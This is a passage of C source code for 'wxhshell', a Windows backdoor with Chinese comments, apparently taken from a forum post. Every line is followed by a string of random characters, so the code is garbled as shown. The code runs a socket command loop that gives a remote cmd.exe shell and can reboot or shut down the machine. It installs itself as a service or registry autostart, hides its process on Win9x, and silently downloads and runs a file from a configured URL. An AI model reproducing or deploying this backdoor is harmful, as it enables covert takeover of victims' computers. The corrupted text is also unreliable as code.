  // 帮助 C[<\ufclD  
  case '?': { N mjBJ_G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^D> MDj6  
    break; 5z(>4d!  
  } .X=M !  
  // 安装 B+q+)O+  
  case 'i': { n+F-,=0  
    if(Install()) d`q)^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $>rfAs!  
    else !=Kay^J~.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +n.j.JP"X  
    break; 4[V6so0  
    } *d,n2a#n5  
  // 卸载 ADl>~3b  
  case 'r': { K&P{2Hndr  
    if(Uninstall()) *~oDP@[S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Fw4;&>  
    else fz?Wr: I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *y\tnsU  
    break; JjO/u>A3;7  
    } kc(b;EA  
  // 显示 wxhshell 所在路径 -mYI[AG)  
  case 'p': { |u@>[*k'=  
    char svExeFile[MAX_PATH]; o-i.'L)X  
    strcpy(svExeFile,"\n\r"); %?G.lej,x  
      strcat(svExeFile,ExeFile); s8I77._s  
        send(wsh,svExeFile,strlen(svExeFile),0); @j8L{FGnN  
    break; &7kSLat+9{  
    } sbiDnRf  
  // 重启 3SB7)8Id1  
  case 'b': { /z-C :k\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HE<%d  
    if(Boot(REBOOT)) J<$'^AR9"q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4}YT@={g}  
    else { (pxz#B4  
    closesocket(wsh); Ywb)h^{!  
    ExitThread(0); {ZYCnS&?CL  
    } 6Q?6-,?_  
    break; (i~%4w=  
    } o!dkS/u-m  
  // 关机 (L  
  case 'd': { DmpJzH j|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ] 8cX#N,M  
    if(Boot(SHUTDOWN)) g$+O<a@n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `DY4d$!4  
    else { /<Nt$n  
    closesocket(wsh); s#Y7*?Sm  
    ExitThread(0); 7Sv5fLu2  
    } @3= < wz<  
    break; xMGd'l?  
    } `2U/O .rV  
  // 获取shell 3Eux-C!t  
  case 's': { G,* uj0g  
    CmdShell(wsh); R =c  
    closesocket(wsh); #^ [N4uV  
    ExitThread(0); 6h*bcb#C  
    break; /OtQk -E  
  } iQR})=Q  
  // 退出 jQlK-U=oi  
  case 'x': { [5#/& k{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {7szo`U2  
    CloseIt(wsh); x@\'@>_GM  
    break; sOHAW*+  
    } 6Kc7@oO~  
  // 离开 NOr*+N\  
  case 'q': { L ]'CA^N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2%%U)|39mB  
    closesocket(wsh); aRKG)0=  
    WSACleanup(); WC&Ltw8  
    exit(1); ,<WykeC  
    break; lMf5F8  
        } cG"<*Xi<  
  } s-DL=MD  
  } vK>^#b3  
] :#IZ0#  
  // 提示信息 Mj;'vm7#'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G7{:d  
} ?S7:KnU>K  
  } <NsT[r~C  
Nfvg[c  
  return; 6$;)CO!h  
} KD*4n'm!>  
r?>Hg+  
// shell模块句柄 {v'Fg  
int CmdShell(SOCKET sock) /[T8/7;_l  
{ TBp5xz`  
STARTUPINFO si; Hx0,kOh)  
ZeroMemory(&si,sizeof(si)); 4T^WRS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R63d `W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5Rp2O4Z  
PROCESS_INFORMATION ProcessInfo; tzN;;h4C  
char cmdline[]="cmd"; 6$.Xj\zl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z,P7b]KVe  
  return 0; O|m-k0n  
} dgD%I  
p=T\3_q  
// 自身启动模式 c$z_Zi!g#  
int StartFromService(void) @_nhA/rlc  
{ "Jd1&FsCwX  
typedef struct 2DQC)Pe+z  
{ nxRrmR}F  
  DWORD ExitStatus; (R,n`x2^  
  DWORD PebBaseAddress; mMWNUkDq  
  DWORD AffinityMask;  ]bSt[  
  DWORD BasePriority; o~>go_Y  
  ULONG UniqueProcessId; \F3t&:  
  ULONG InheritedFromUniqueProcessId; k3kqgR*  
}   PROCESS_BASIC_INFORMATION; aE$p;I  
^ } L$[P  
PROCNTQSIP NtQueryInformationProcess; 5ZxBmQ  
)g F9D1eA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9R3=h5Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u^p[zepW\  
S"z4jpqn3  
  HANDLE             hProcess; RO8Ynm2 <  
  PROCESS_BASIC_INFORMATION pbi; b)@x@3"O  
I@+<[n2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s3^SjZb  
  if(NULL == hInst ) return 0; %>z}P&Yz  
gf>5xf{M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;zG|llX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o(qmI/h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "j>0A Hem  
\H(,'w7H  
  if (!NtQueryInformationProcess) return 0; +w5?{J  
2>s;xZ@/'R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ugP R)tDfM  
  if(!hProcess) return 0; ?A>-_B  
4 XQ?By  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U7=Z.*/62  
_Pal)re]U  
  CloseHandle(hProcess); eL!6}y}W  
D bJ(N h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VGIc|Q=F  
if(hProcess==NULL) return 0; >MH@FnUL  
"{lnSLk  
HMODULE hMod; jL$X3QS:  
char procName[255]; * PPFk.#x  
unsigned long cbNeeded; 1[ Pbsb  
Q1yTDJ(2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]CYe=m1<2Q  
Y._AzJ&B[  
  CloseHandle(hProcess); 70~]J8T+u  
-9EbU7>!  
if(strstr(procName,"services")) return 1; // 以服务启动 m|[ Hhw=f  
|/$#G0X;H  
  return 0; // 注册表启动 d8po`J#nb  
} ZW"J]"A  
NKws;/u  
// 主模块 ImVe 71mh  
int StartWxhshell(LPSTR lpCmdLine) G y2XjO8b  
{ |99eDgK,  
  SOCKET wsl; M\3!elp2z  
BOOL val=TRUE; ovp>"VuC  
  int port=0; ^ z;pP  
  struct sockaddr_in door; .v{ty  
"mA/:8`Q  
  if(wscfg.ws_autoins) Install(); _QY "#  
l ki(_ @3  
port=atoi(lpCmdLine); 8:MYeE5  
Q@R8qc=*  
if(port<=0) port=wscfg.ws_port; "+AD+D  
J2rH<Fd[up  
  WSADATA data; c 9@*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {Bx\Z0+'&  
hSmM OS{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gqG"t@Y+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >e%Po,Fg$  
  door.sin_family = AF_INET; <V{BRRx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QHK$  
  door.sin_port = htons(port); aUV>O`|_  
\JchcQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n$QFj'  
closesocket(wsl); (TPD!=  
return 1; Bb)J8,LQ  
} w&H7S{  
,ic}   
  if(listen(wsl,2) == INVALID_SOCKET) { 7VraWW`H'  
closesocket(wsl); )I@iW\`7  
return 1; `XQ5>c  
} Sl1N V  
  Wxhshell(wsl); qyto`n7  
  WSACleanup(); FB""^IC?W  
^]HwStn&=  
return 0; u|E,Wy1  
SWt"QqBU  
} iBCM?RiG  
O7W}Z1G  
// 以NT服务方式启动 ^*W3{eyi(L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Oqyh{q%]  
{ -kO=pYP*O  
DWORD   status = 0; ocvBKsfhE`  
  DWORD   specificError = 0xfffffff; D c^d$gh  
7^1ikmYY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [0 $Y@ek[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v-o/zud]]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m(Oup=\%b}  
  serviceStatus.dwWin32ExitCode     = 0; #AHIlUH"m  
  serviceStatus.dwServiceSpecificExitCode = 0; .|K5b]na  
  serviceStatus.dwCheckPoint       = 0; U1Oq"Ij~  
  serviceStatus.dwWaitHint       = 0; |kn}iA@72p  
@0G} Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O3Uu{'=0  
  if (hServiceStatusHandle==0) return; 8^T' a^Wt  
?~$y3<[  
status = GetLastError(); 2-]m#}zbP  
  if (status!=NO_ERROR) {)+/w"^.  
{ >z2 {D7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -v:Y\=[\  
    serviceStatus.dwCheckPoint       = 0; ${?Px c{-  
    serviceStatus.dwWaitHint       = 0; qQb8K+t  
    serviceStatus.dwWin32ExitCode     = status; ,F1$Of/'@\  
    serviceStatus.dwServiceSpecificExitCode = specificError; W$y?~2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "H({kmR  
    return; x-"7{@lz  
  } N4Ym[l  
eWFlJ;=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Rj8l]m6U9  
  serviceStatus.dwCheckPoint       = 0; uzS57 O%  
  serviceStatus.dwWaitHint       = 0; *m;L.r`5[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >[#4Pb7_Y  
} ?FLjvmE9  
',.Xn`c  
// 处理NT服务事件,比如:启动、停止 `bi5#xR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GxBj N7"  
{ /a,q4tD@  
switch(fdwControl) ,Vogo5~X  
{ (wTg aV1  
case SERVICE_CONTROL_STOP: R75sK(oS  
  serviceStatus.dwWin32ExitCode = 0; te`4*t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; It4F;Ah  
  serviceStatus.dwCheckPoint   = 0; {uw]s< 6  
  serviceStatus.dwWaitHint     = 0; x@/ !H<y  
  { S +He  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tIg_cY_y  
  } 3TJNlS  
  return; ^t| %!r G  
case SERVICE_CONTROL_PAUSE: cD 1p5U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $HaM, Oh;i  
  break;  z\ \MLyS  
case SERVICE_CONTROL_CONTINUE: b_B4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L U7.  
  break; (* p |Kzu  
case SERVICE_CONTROL_INTERROGATE: hfY2pG9N  
  break; ! _QU-  
}; 6K,AQ.=V2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )t|M)zJ  
} ].$N@t C  
MQI6e".  
// 标准应用程序主函数 //`X+[bMG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7 `|- K  
{ (LnKaf8  
Wg#>2)>  
// 获取操作系统版本 s}5;)>3~@  
OsIsNt=GetOsVer(); B${Q Y)t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RSp=If+4  
rT x]%{  
  // 从命令行安装 >OQ<wO6  
  if(strpbrk(lpCmdLine,"iI")) Install(); ETmfy}V8  
5-MI 7I@l  
  // 下载执行文件 c+q4sNnE  
if(wscfg.ws_downexe) { +Ix;~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  G=wJz  
  WinExec(wscfg.ws_filenam,SW_HIDE); CrK}mbe  
} Y M5;mPR  
qLcs)&}/A  
if(!OsIsNt) { F&ux9zP  
// 如果时win9x,隐藏进程并且设置为注册表启动 -ohqw+D  
HideProc(); }4$UlTA'  
StartWxhshell(lpCmdLine); 1Ztoj}!I  
} . 8k9yk  
else huO_ARwK'  
  if(StartFromService()) -(Yq$5Zc&  
  // 以服务方式启动 aC;OFINK  
  StartServiceCtrlDispatcher(DispatchTable); y3d`$'7H>  
else t1D6#JP(a  
  // 普通方式启动 @xmL?wz  
  StartWxhshell(lpCmdLine); 7%C6gU!r  
BYRf MtT@+  
return 0; SI-s:%O  
}
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只看该作者 1 发表于: 2006-10-10
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